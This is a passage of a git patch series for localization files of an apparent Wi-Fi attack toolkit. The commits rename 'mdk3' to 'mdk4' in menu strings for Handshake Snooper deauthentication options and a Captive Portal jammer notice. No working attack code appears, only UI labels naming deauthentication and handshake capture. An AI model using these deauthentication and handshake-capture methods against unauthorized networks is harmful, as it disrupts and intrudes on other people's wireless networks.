-HandshakeSnooperMdk3MethodOption="deautenticazione mdk3 (${CRed}aggressivo$CClr)" +HandshakeSnooperMdk3MethodOption="deautenticazione mdk4 (${CRed}aggressivo$CClr)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> HandshakeSnooperVerifierIntervalQuery="Ogni quanto il verificatore deve controllare per l'handshake?" HandshakeSnooperVerifierInterval30SOption="Ogni 30 secondi (${CGrn}raccomandato${CClr})." From 80b98d4d58994671493b296ce46a6702f01f37d1 Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Sat, 14 Sep 2019 08:49:30 +0500 Subject: [PATCH 42/76] Update fr.sh --- attacks/Handshake Snooper/language/fr.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/attacks/Handshake Snooper/language/fr.sh b/attacks/Handshake Snooper/language/fr.sh index 89bf5ba..391e07e 100755 --- a/attacks/Handshake Snooper/language/fr.sh +++ b/attacks/Handshake Snooper/language/fr.sh @@ -8,7 +8,7 @@ HandshakeSnooperJammerInterfaceQuery="Select an interface for monitoring & jammi HandshakeSnooperMethodQuery="Sélectionnez une méthode de récupération de handshake" HandshakeSnooperMonitorMethodOption="Monitorer (${CYel}passif$CClr)" HandshakeSnooperAireplayMethodOption="Désauthentification aireplay-ng (${CRed}aggressif$CClr)" -HandshakeSnooperMdk3MethodOption="Désauthentification mdk3 (${CRed}aggressif$CClr)" +HandshakeSnooperMdk3MethodOption="Désauthentification mdk4 (${CRed}aggressif$CClr)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> HandshakeSnooperVerifierIntervalQuery="How often should the verifier check for a handshake?" HandshakeSnooperVerifierInterval30SOption="Every 30 seconds (${CGrn}recommended${CClr})." From 763c933936e05734383e3c24050310e43c12809e Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Sat, 14 Sep 2019 08:49:32 +0500 Subject: [PATCH 43/76] Update es.sh --- attacks/Handshake Snooper/language/es.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/attacks/Handshake Snooper/language/es.sh b/attacks/Handshake Snooper/language/es.sh index 231c85e..d563d7b 100755 --- a/attacks/Handshake Snooper/language/es.sh +++ b/attacks/Handshake Snooper/language/es.sh @@ -8,7 +8,7 @@ HandshakeSnooperJammerInterfaceQuery="Select an interface for monitoring & jammi HandshakeSnooperMethodQuery="Select a method of handshake retrieval" HandshakeSnooperMonitorMethodOption="Monitor (${CYel}passive$CClr)" HandshakeSnooperAireplayMethodOption="aireplay-ng deauthentication (${CRed}aggressive$CClr)" -HandshakeSnooperMdk3MethodOption="mdk3 deauthentication (${CRed}aggressive$CClr)" +HandshakeSnooperMdk3MethodOption="mdk4 deauthentication (${CRed}aggressive$CClr)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> HandshakeSnooperVerifierIntervalQuery="How often should the verifier check for a handshake?" HandshakeSnooperVerifierInterval30SOption="Every 30 seconds (${CGrn}recommended${CClr})." From 070ec09cb06377fbaa254d015c8d5d68452c4d58 Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Sat, 14 Sep 2019 08:51:01 +0500 Subject: [PATCH 44/76] Update zh.sh --- attacks/Handshake Snooper/language/zh.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/attacks/Handshake Snooper/language/zh.sh b/attacks/Handshake Snooper/language/zh.sh index 8e195a6..527799f 100755 --- a/attacks/Handshake Snooper/language/zh.sh +++ b/attacks/Handshake Snooper/language/zh.sh @@ -8,7 +8,7 @@ HandshakeSnooperJammerInterfaceQuery="选择一个用于监控和干扰的接口 HandshakeSnooperMethodQuery="选择一种方式来检查握手包获取状态" HandshakeSnooperMonitorMethodOption="监听模式 (${CYel}被动$CClr)" HandshakeSnooperAireplayMethodOption="aireplay-ng 解除认证方式 (${CRed}侵略性$CClr)" -HandshakeSnooperMdk3MethodOption="mdk3 解除认证方式 (${CRed}侵略性$CClr)" +HandshakeSnooperMdk3MethodOption="mdk4 解除认证方式 (${CRed}侵略性$CClr)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> HandshakeSnooperVerifierIntervalQuery="每隔多久检查一次握手包" HandshakeSnooperVerifierInterval30SOption="每30秒钟 (${CGrn}推荐${CClr})." From 4f9144c82bd1debd847124eb8df937addfcdfaec Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Sat, 14 Sep 2019 08:51:03 +0500 Subject: [PATCH 45/76] Update tk.sh --- attacks/Handshake Snooper/language/tk.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/attacks/Handshake Snooper/language/tk.sh b/attacks/Handshake Snooper/language/tk.sh index 9648e84..0a1ce46 100755 --- a/attacks/Handshake Snooper/language/tk.sh +++ b/attacks/Handshake Snooper/language/tk.sh @@ -8,7 +8,7 @@ HandshakeSnooperJammerInterfaceQuery="İzleme ve jamming için bir arayüz seçi HandshakeSnooperMethodQuery="Tokalasma edinme methodu seciniz" HandshakeSnooperMonitorMethodOption="Monitor (${CYel}pasif$CClr)" HandshakeSnooperAireplayMethodOption="aireplay-ng deauthentication (${CRed}agresif$CClr)" -HandshakeSnooperMdk3MethodOption="mdk3 deauthentication (${CRed}agresif$CClr)" +HandshakeSnooperMdk3MethodOption="mdk4 deauthentication (${CRed}agresif$CClr)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> HandshakeSnooperVerifierIntervalQuery="Doğrulayıcı ne sıklıkta bir tokalasma için kontrol etmeli?" HandshakeSnooperVerifierInterval30SOption="Her 30 saniyede (${CGrn}tavsıye edilen${CClr})." From 835cbb9aee67435a64b8fb5d7e052e3a3d1e1e87 Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Sat, 14 Sep 2019 08:51:06 +0500 Subject: [PATCH 46/76] Update sl.sh --- attacks/Handshake Snooper/language/sl.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/attacks/Handshake Snooper/language/sl.sh b/attacks/Handshake Snooper/language/sl.sh index a1c3e6b..004783b 100755 --- a/attacks/Handshake Snooper/language/sl.sh +++ b/attacks/Handshake Snooper/language/sl.sh @@ -8,7 +8,7 @@ HandshakeSnooperJammerInterfaceQuery="Select an interface for monitoring & jammi HandshakeSnooperMethodQuery="Select a method of handshake retrieval" HandshakeSnooperMonitorMethodOption="Monitor (${CYel}passive$CClr)" HandshakeSnooperAireplayMethodOption="aireplay-ng deauthentication (${CRed}aggressive$CClr)" -HandshakeSnooperMdk3MethodOption="mdk3 deauthentication (${CRed}aggressive$CClr)" +HandshakeSnooperMdk3MethodOption="mdk4 deauthentication (${CRed}aggressive$CClr)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> HandshakeSnooperVerifierIntervalQuery="How often should the verifier check for a handshake?" HandshakeSnooperVerifierInterval30SOption="Every 30 seconds (${CGrn}recommended${CClr})." From 01f3fc3a682f94359783b06bb27cd9a437987f15 Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Sat, 14 Sep 2019 08:51:08 +0500 Subject: [PATCH 47/76] Update sk.sh --- attacks/Handshake Snooper/language/sk.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/attacks/Handshake Snooper/language/sk.sh b/attacks/Handshake Snooper/language/sk.sh index 13709ba..b44f15e 100755 --- a/attacks/Handshake Snooper/language/sk.sh +++ b/attacks/Handshake Snooper/language/sk.sh @@ -8,7 +8,7 @@ HandshakeSnooperJammerInterfaceQuery="Select an interface for monitoring & jammi HandshakeSnooperMethodQuery="Vyberte metódu získania 'handshake'" HandshakeSnooperMonitorMethodOption="Monitor (${CYel}passive$CClr)" HandshakeSnooperAireplayMethodOption="aireplay-ng deauthentication (${CRed}aggressive$CClr)" -HandshakeSnooperMdk3MethodOption="mdk3 deauthentication (${CRed}aggressive$CClr)" +HandshakeSnooperMdk3MethodOption="mdk4 deauthentication (${CRed}aggressive$CClr)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> HandshakeSnooperVerifierIntervalQuery="Ako často sa má kontrolovať 'handshake'?" HandshakeSnooperVerifierInterval30SOption="Každých 30 sekúnd (${CGrn}odporúčané${CClr})." From 3d75c3d974be2eb403b5d8cab79792638721b248 Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Sat, 14 Sep 2019 08:51:11 +0500 Subject: [PATCH 48/76] Update ru.sh --- attacks/Handshake Snooper/language/ru.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/attacks/Handshake Snooper/language/ru.sh b/attacks/Handshake Snooper/language/ru.sh index 5639d34..698ffa2 100755 --- a/attacks/Handshake Snooper/language/ru.sh +++ b/attacks/Handshake Snooper/language/ru.sh @@ -8,7 +8,7 @@ HandshakeSnooperJammerInterfaceQuery="Выберите интерфейс для HandshakeSnooperMethodQuery="Выберите метод получения рукопожатия" HandshakeSnooperMonitorMethodOption="Наблюдение (${CYel}пассивный$CClr)" HandshakeSnooperAireplayMethodOption="Деаутентификация с aireplay-ng (${CRed}агрессивный$CClr)" -HandshakeSnooperMdk3MethodOption="Деаутентификация с mdk3 (${CRed} агрессивный $CClr)" +HandshakeSnooperMdk3MethodOption="Деаутентификация с mdk4 (${CRed} агрессивный $CClr)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> HandshakeSnooperVerifierIntervalQuery="Как часто проверять наличие рукопожатия?" HandshakeSnooperVerifierInterval30SOption="Каждые 30 секунд (${CGrn}рекомендуется${CClr})." From 009fd6ee7a35cd4343988273e314310b1a3aea1c Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Sat, 14 Sep 2019 08:51:14 +0500 Subject: [PATCH 49/76] Update ro.sh --- attacks/Handshake Snooper/language/ro.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/attacks/Handshake Snooper/language/ro.sh b/attacks/Handshake Snooper/language/ro.sh index 146127a..77cfaaa 100755 --- a/attacks/Handshake Snooper/language/ro.sh +++ b/attacks/Handshake Snooper/language/ro.sh @@ -8,7 +8,7 @@ HandshakeSnooperJammerInterfaceQuery="Select an interface for monitoring & jammi HandshakeSnooperMethodQuery="Select a method of handshake retrieval" HandshakeSnooperMonitorMethodOption="Monitor (${CYel}passive$CClr)" HandshakeSnooperAireplayMethodOption="aireplay-ng deauthentication (${CRed}aggressive$CClr)" -HandshakeSnooperMdk3MethodOption="mdk3 deauthentication (${CRed}aggressive$CClr)" +HandshakeSnooperMdk3MethodOption="mdk4 deauthentication (${CRed}aggressive$CClr)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> HandshakeSnooperVerifierIntervalQuery="How often should the verifier check for a handshake?" HandshakeSnooperVerifierInterval30SOption="Every 30 seconds (${CGrn}recommended${CClr})." From c02c0b96dc8e6b294f08a68808e9f48007581fe9 Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Sat, 14 Sep 2019 08:51:18 +0500 Subject: [PATCH 50/76] Update pt-br.sh --- attacks/Handshake Snooper/language/pt-br.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/attacks/Handshake Snooper/language/pt-br.sh b/attacks/Handshake Snooper/language/pt-br.sh index c116ca1..277a77a 100755 --- a/attacks/Handshake Snooper/language/pt-br.sh +++ b/attacks/Handshake Snooper/language/pt-br.sh @@ -8,7 +8,7 @@ HandshakeSnooperJammerInterfaceQuery="Select an interface for monitoring & jammi HandshakeSnooperMethodQuery="Select a method of handshake retrieval" HandshakeSnooperMonitorMethodOption="Monitor (${CYel}passive$CClr)" HandshakeSnooperAireplayMethodOption="aireplay-ng deauthentication (${CRed}aggressive$CClr)" -HandshakeSnooperMdk3MethodOption="mdk3 deauthentication (${CRed}aggressive$CClr)" +HandshakeSnooperMdk3MethodOption="mdk4 deauthentication (${CRed}aggressive$CClr)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> HandshakeSnooperVerifierIntervalQuery="How often should the verifier check for a handshake?" HandshakeSnooperVerifierInterval30SOption="Every 30 seconds (${CGrn}recommended${CClr})." From f1577945719cd0acd7912eacafadef487cbd47ab Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Sat, 14 Sep 2019 08:57:16 +0500 Subject: [PATCH 51/76] Update de.sh --- attacks/Captive Portal/language/de.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/attacks/Captive Portal/language/de.sh b/attacks/Captive Portal/language/de.sh index c1af41e..87abd50 100755 --- a/attacks/Captive Portal/language/de.sh +++ b/attacks/Captive Portal/language/de.sh @@ -11,7 +11,7 @@ CaptivePortalStaringAPRoutesNotice="Starte den routing Service " CaptivePortalStartingDHCPServiceNotice="Starte den DHCP Service" CaptivePortalStartingDNSServiceNotice="Starte den DNS Service." CaptivePortalStartingWebServiceNotice="Starte den AP" -CaptivePortalStartingJammerServiceNotice="Starte mdk4 als Service" +CaptivePortalStartingJammerServiceNotice="Starte mdk4/aireplay als Service" CaptivePortalStartingAuthenticatorServiceNotice="Authentifizierungsskript wird gestartet" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> CaptivePortalAPServiceQuery="Select an access point service" From 84a35bf47c95255483d6fa870e3de0cef2644f35 Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Sat, 14 Sep 2019 09:04:03 +0500 Subject: [PATCH 52/76] Update en.sh --- attacks/Handshake Snooper/language/en.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/attacks/Handshake Snooper/language/en.sh b/attacks/Handshake Snooper/language/en.sh index 277a77a..a643d3a 100755 --- a/attacks/Handshake Snooper/language/en.sh +++ b/attacks/Handshake Snooper/language/en.sh @@ -8,7 +8,7 @@ HandshakeSnooperJammerInterfaceQuery="Select an interface for monitoring & jammi HandshakeSnooperMethodQuery="Select a method of handshake retrieval" HandshakeSnooperMonitorMethodOption="Monitor (${CYel}passive$CClr)" HandshakeSnooperAireplayMethodOption="aireplay-ng deauthentication (${CRed}aggressive$CClr)" -HandshakeSnooperMdk3MethodOption="mdk4 deauthentication (${CRed}aggressive$CClr)" +HandshakeSnooperMdk4MethodOption="mdk4 deauthentication (${CRed}aggressive$CClr)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> HandshakeSnooperVerifierIntervalQuery="How often should the verifier check for a handshake?" HandshakeSnooperVerifierInterval30SOption="Every 30 seconds (${CGrn}recommended${CClr})." From 68f0490e98b689440276756354352d6341bf1693 Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Sat, 14 Sep 2019 09:04:07 +0500 Subject: [PATCH 53/76] Update el.sh --- attacks/Handshake Snooper/language/el.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/attacks/Handshake Snooper/language/el.sh b/attacks/Handshake Snooper/language/el.sh index d671f38..3541d55 100755 --- a/attacks/Handshake Snooper/language/el.sh +++ b/attacks/Handshake Snooper/language/el.sh @@ -8,7 +8,7 @@ HandshakeSnooperJammerInterfaceQuery="Select an interface for monitoring & jammi HandshakeSnooperMethodQuery="Διαλεξτε μια μεθοδο για την αποκτηση του handshake" HandshakeSnooperMonitorMethodOption="Παρακολουθηση (${CYel}αβλαβης$CClr)" HandshakeSnooperAireplayMethodOption="aireplay-ng αποσυνδεση (${CRed}επιθετικη$CClr)" -HandshakeSnooperMdk3MethodOption="mdk4 αποσυνδεση (${CRed}επιθετικη$CClr)" +HandshakeSnooperMdk4MethodOption="mdk4 αποσυνδεση (${CRed}επιθετικη$CClr)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> HandshakeSnooperVerifierIntervalQuery="Ανα ποση ωρα να ελεγχω για το handshake?" HandshakeSnooperVerifierInterval30SOption="Καθε 30 δευτερολεπτα(${CGrn}προτεινομενο${CClr})." From 2bd6e78a0dd1a9294f0948fa23440d55c94e2601 Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Sat, 14 Sep 2019 09:04:10 +0500 Subject: [PATCH 54/76] Update de.sh --- attacks/Handshake Snooper/language/de.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/attacks/Handshake Snooper/language/de.sh b/attacks/Handshake Snooper/language/de.sh index b4a63a4..18e4735 100755 --- a/attacks/Handshake Snooper/language/de.sh +++ b/attacks/Handshake Snooper/language/de.sh @@ -8,7 +8,7 @@ HandshakeSnooperJammerInterfaceQuery="Select an interface for monitoring & jammi HandshakeSnooperMethodQuery="Select a method of handshake retrieval" HandshakeSnooperMonitorMethodOption="Monitor (${CYel}passive$CClr)" HandshakeSnooperAireplayMethodOption="aireplay-ng deauthentication (${CRed}aggressive$CClr)" -HandshakeSnooperMdk3MethodOption="mdk4 deauthentication (${CRed}aggressive$CClr)" +HandshakeSnooperMdk4MethodOption="mdk4 deauthentication (${CRed}aggressive$CClr)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> HandshakeSnooperVerifierIntervalQuery="How often should the verifier check for a handshake?" HandshakeSnooperVerifierInterval30SOption="Every 30 seconds (${CGrn}recommended${CClr})." From 5e5d17ceacee6411ce685d31c9eff60cda55afd2 Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Sat, 14 Sep 2019 09:04:13 +0500 Subject: [PATCH 55/76] Update cs.sh --- attacks/Handshake Snooper/language/cs.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/attacks/Handshake Snooper/language/cs.sh b/attacks/Handshake Snooper/language/cs.sh index bdf43f5..6add62e 100755 --- a/attacks/Handshake Snooper/language/cs.sh +++ b/attacks/Handshake Snooper/language/cs.sh @@ -8,7 +8,7 @@ HandshakeSnooperJammerInterfaceQuery="Vyberte rozhraní pro monitorování/ruše HandshakeSnooperMethodQuery="Vyberte metodu získání handshaku" HandshakeSnooperMonitorMethodOption="Monitor (${CYel}pasivní$CClr)" HandshakeSnooperAireplayMethodOption="aireplay-ng deauthentication (${CRed}agresivní$CClr)" -HandshakeSnooperMdk3MethodOption="mdk4 deauthentication (${CRed}agresivní$CClr)" +HandshakeSnooperMdk4MethodOption="mdk4 deauthentication (${CRed}agresivní$CClr)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> HandshakeSnooperVerifierIntervalQuery="Jak často kontrolovat získání handshaku?" HandshakeSnooperVerifierInterval30SOption="Každých 30 vteřin (${CGrn}doporučeno${CClr})." From 355e05bbfc5fca457a2395be082b3bfbf6d4932e Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Sat, 14 Sep 2019 09:04:16 +0500 Subject: [PATCH 56/76] Update ar.sh --- attacks/Handshake Snooper/language/ar.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/attacks/Handshake Snooper/language/ar.sh b/attacks/Handshake Snooper/language/ar.sh index f6f3af3..e86bfe6 100755 --- a/attacks/Handshake Snooper/language/ar.sh +++ b/attacks/Handshake Snooper/language/ar.sh @@ -8,7 +8,7 @@ HandshakeSnooperJammerInterfaceQuery="إختر بطاقة شبكة من أجل HandshakeSnooperMethodQuery="إختر طريقة لاسترجاع المصافحة" HandshakeSnooperMonitorMethodOption="مراقبة (${CYel}passive$CClr)" HandshakeSnooperAireplayMethodOption="الغاء المصادقة aireplay-ng (${CRed}aggressive$CClr)" -HandshakeSnooperMdk3MethodOption="الغاء المصادقة mdk4 (${CRed}aggressive$CClr)" +HandshakeSnooperMdk4MethodOption="الغاء المصادقة mdk4 (${CRed}aggressive$CClr)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> HandshakeSnooperVerifierIntervalQuery="كم مرة يجب على المدقق التحقق من المصافحة؟" HandshakeSnooperVerifierInterval30SOption="كل 30 ثانية (${CGrn}مستحسن${CClr})." From 38f245c2af6d5023c6e5487b8d346434303fe6fb Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Sat, 14 Sep 2019 09:05:37 +0500 Subject: [PATCH 57/76] Update es.sh --- attacks/Handshake Snooper/language/es.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/attacks/Handshake Snooper/language/es.sh b/attacks/Handshake Snooper/language/es.sh index d563d7b..4855f6e 100755 --- a/attacks/Handshake Snooper/language/es.sh +++ b/attacks/Handshake Snooper/language/es.sh @@ -8,7 +8,7 @@ HandshakeSnooperJammerInterfaceQuery="Select an interface for monitoring & jammi HandshakeSnooperMethodQuery="Select a method of handshake retrieval" HandshakeSnooperMonitorMethodOption="Monitor (${CYel}passive$CClr)" HandshakeSnooperAireplayMethodOption="aireplay-ng deauthentication (${CRed}aggressive$CClr)" -HandshakeSnooperMdk3MethodOption="mdk4 deauthentication (${CRed}aggressive$CClr)" +HandshakeSnooperMdk4MethodOption="mdk4 deauthentication (${CRed}aggressive$CClr)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> HandshakeSnooperVerifierIntervalQuery="How often should the verifier check for a handshake?" HandshakeSnooperVerifierInterval30SOption="Every 30 seconds (${CGrn}recommended${CClr})." From 91434d9bbabe4a4d98ce8d6d1bce6de6c6852955 Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Sat, 14 Sep 2019 09:05:41 +0500 Subject: [PATCH 58/76] Update fr.sh --- attacks/Handshake Snooper/language/fr.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/attacks/Handshake Snooper/language/fr.sh b/attacks/Handshake Snooper/language/fr.sh index 391e07e..ff3650c 100755 --- a/attacks/Handshake Snooper/language/fr.sh +++ b/attacks/Handshake Snooper/language/fr.sh @@ -8,7 +8,7 @@ HandshakeSnooperJammerInterfaceQuery="Select an interface for monitoring & jammi HandshakeSnooperMethodQuery="Sélectionnez une méthode de récupération de handshake" HandshakeSnooperMonitorMethodOption="Monitorer (${CYel}passif$CClr)" HandshakeSnooperAireplayMethodOption="Désauthentification aireplay-ng (${CRed}aggressif$CClr)" -HandshakeSnooperMdk3MethodOption="Désauthentification mdk4 (${CRed}aggressif$CClr)" +HandshakeSnooperMdk4MethodOption="Désauthentification mdk4 (${CRed}aggressif$CClr)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> HandshakeSnooperVerifierIntervalQuery="How often should the verifier check for a handshake?" HandshakeSnooperVerifierInterval30SOption="Every 30 seconds (${CGrn}recommended${CClr})." From 004a75bd9bbd0f62a13c4a261ebe20be0abf1925 Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Sat, 14 Sep 2019 09:05:46 +0500 Subject: [PATCH 59/76] Update it.sh --- attacks/Handshake Snooper/language/it.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/attacks/Handshake Snooper/language/it.sh b/attacks/Handshake Snooper/language/it.sh index 1540a64..1ce0426 100755 --- a/attacks/Handshake Snooper/language/it.sh +++ b/attacks/Handshake Snooper/language/it.sh @@ -8,7 +8,7 @@ HandshakeSnooperJammerInterfaceQuery="Select an interface for monitoring & jammi HandshakeSnooperMethodQuery="Seleziona il metodo di scoperta dell'handshake" HandshakeSnooperMonitorMethodOption="Monitor (${CYel}passivo$CClr)" HandshakeSnooperAireplayMethodOption="deautenticazione aireplay-ng (${CRed}aggressivo$CClr)" -HandshakeSnooperMdk3MethodOption="deautenticazione mdk4 (${CRed}aggressivo$CClr)" +HandshakeSnooperMdk4MethodOption="deautenticazione mdk4 (${CRed}aggressivo$CClr)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> HandshakeSnooperVerifierIntervalQuery="Ogni quanto il verificatore deve controllare per l'handshake?" HandshakeSnooperVerifierInterval30SOption="Ogni 30 secondi (${CGrn}raccomandato${CClr})." From 77d6e3081b425d879b546c45f5509fddc42ce4e5 Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Sat, 14 Sep 2019 09:05:49 +0500 Subject: [PATCH 60/76] Update nl.sh --- attacks/Handshake Snooper/language/nl.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/attacks/Handshake Snooper/language/nl.sh b/attacks/Handshake Snooper/language/nl.sh index 73fa978..cfb79b3 100755 --- a/attacks/Handshake Snooper/language/nl.sh +++ b/attacks/Handshake Snooper/language/nl.sh @@ -8,7 +8,7 @@ HandshakeSnooperJammerInterfaceQuery="Selecteer een interface voor monitoring & HandshakeSnooperMethodQuery="Selecteer een methode voor handshake verkrijgen" HandshakeSnooperMonitorMethodOption="Monitor (${CYel}passief$CClr)" HandshakeSnooperAireplayMethodOption="aireplay-ng deauthentication (${CRed}agressief$CClr)" -HandshakeSnooperMdk3MethodOption="mdk4 deauthentication (${CRed}agressief$CClr)" +HandshakeSnooperMdk4MethodOption="mdk4 deauthentication (${CRed}agressief$CClr)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> HandshakeSnooperVerifierIntervalQuery="Hoe vaak moet er gecontrollerd worden voor een handshake?" HandshakeSnooperVerifierInterval30SOption="Elke 30 seconden (${CGrn}aangeraden${CClr})." From 49eedbc4b6189024b0970c6dd415847cd120e6cf Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Sat, 14 Sep 2019 09:05:51 +0500 Subject: [PATCH 61/76] Update pl.sh --- attacks/Handshake Snooper/language/pl.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/attacks/Handshake Snooper/language/pl.sh b/attacks/Handshake Snooper/language/pl.sh index 277a77a..a643d3a 100755 --- a/attacks/Handshake Snooper/language/pl.sh +++ b/attacks/Handshake Snooper/language/pl.sh @@ -8,7 +8,7 @@ HandshakeSnooperJammerInterfaceQuery="Select an interface for monitoring & jammi HandshakeSnooperMethodQuery="Select a method of handshake retrieval" HandshakeSnooperMonitorMethodOption="Monitor (${CYel}passive$CClr)" HandshakeSnooperAireplayMethodOption="aireplay-ng deauthentication (${CRed}aggressive$CClr)" -HandshakeSnooperMdk3MethodOption="mdk4 deauthentication (${CRed}aggressive$CClr)" +HandshakeSnooperMdk4MethodOption="mdk4 deauthentication (${CRed}aggressive$CClr)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> HandshakeSnooperVerifierIntervalQuery="How often should the verifier check for a handshake?" HandshakeSnooperVerifierInterval30SOption="Every 30 seconds (${CGrn}recommended${CClr})." From bd6f9469f7f7464ac3d771181a2263f108047ea0 Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Sat, 14 Sep 2019 09:05:55 +0500 Subject: [PATCH 62/76] Update pt-br.sh --- attacks/Handshake Snooper/language/pt-br.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/attacks/Handshake Snooper/language/pt-br.sh b/attacks/Handshake Snooper/language/pt-br.sh index 277a77a..a643d3a 100755 --- a/attacks/Handshake Snooper/language/pt-br.sh +++ b/attacks/Handshake Snooper/language/pt-br.sh @@ -8,7 +8,7 @@ HandshakeSnooperJammerInterfaceQuery="Select an interface for monitoring & jammi HandshakeSnooperMethodQuery="Select a method of handshake retrieval" HandshakeSnooperMonitorMethodOption="Monitor (${CYel}passive$CClr)" HandshakeSnooperAireplayMethodOption="aireplay-ng deauthentication (${CRed}aggressive$CClr)" -HandshakeSnooperMdk3MethodOption="mdk4 deauthentication (${CRed}aggressive$CClr)" +HandshakeSnooperMdk4MethodOption="mdk4 deauthentication (${CRed}aggressive$CClr)" # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> HandshakeSnooperVerifierIntervalQuery="How often should the verifier check for a handshake?" HandshakeSnooperVerifierInterval30SOption="Every 30 seconds (${CGrn}recommended${CClr})." From 11e01086b4c6aa96f0ca38654867fb5ab4a0e2a0 Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Sat, 14 Sep 2019 09:07:09 +0500 Subject: [PATCH 63/76] Update 